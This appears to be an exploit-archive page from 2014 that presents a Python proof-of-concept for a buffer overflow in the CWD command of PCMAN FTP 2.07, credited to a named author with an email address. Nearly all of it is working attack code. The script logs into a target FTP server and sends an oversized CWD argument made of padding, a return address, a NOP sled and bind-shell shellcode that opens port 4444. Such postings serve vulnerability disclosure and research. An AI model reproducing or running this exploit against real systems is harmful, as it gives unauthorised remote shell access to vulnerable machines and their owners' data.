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PCMAN FTP 2.07 CWD Buffer Overflow

PCMAN FTP 2.07 CWD Buffer Overflow
Posted Jan 29, 2014
Authored by Mahmod Mahajna

PCMAN FTP version 2.07 CWD command buffer overflow exploit.

tags | exploit, overflow
advisories | OSVDB-94624
SHA-256 | 686e1bb139fa8ceb51129b6bcc62b9df3c56b058ab7375350cf467d34d7e74da

PCMAN FTP 2.07 CWD Buffer Overflow

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# Exploit Title: PCMAN FTP 2.07 CWD Command Buffer Overflow
# Date: Jan 25,2014
# Exploit Author: Mahmod Mahajna (Mahy)
# Version: 2.07
# Tested on: Windows 7 sp1 x64 (english)
# Email: m.dofo123@gmail.com
import socket as s
from sys import argv
#
if(len(argv) != 4):
print "USAGE: %s host <user> <password>" % argv[0]
exit(1)
else:
#store command line arguments
script,host,fuser,fpass=argv
#vars
junk = '\x41' * 2012 #overwrite function (CWD) with garbage/junk chars
espaddress = '\x59\x06\xbb\x76' # 76BB0659
nops = '\x90' * 10
shellcode = ( # BIND SHELL | PORT 4444
"\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4"
"\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c"
"\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07"
"\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07"
"\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e"
"\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f"
"\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38"
"\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65"
"\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a"
"\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74"
"\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5"
"\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80"
"\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4"
"\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80"
"\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82"
"\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a"
"\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70"
"\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6"
"\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4"
"\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6"
"\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4"
"\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53"
"\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84"
"\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51"
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a\xcd")
sploit = junk+espaddress+nops+shellcode
#create socket
conn = s.socket(s.AF_INET,s.SOCK_STREAM)
#establish connection to server
conn.connect((host,21))
#post ftp user
conn.send('USER '+fuser+'\r\n')
#wait for response
uf = conn.recv(1024)
#post ftp password
conn.send('PASS '+fpass+'\r\n')
#wait for response
pf = conn.recv(1024)
#send ftp command with sploit
conn.send('CWD '+sploit+'\r\n')
cf = conn.recv(1024)
#close connection
conn.close()



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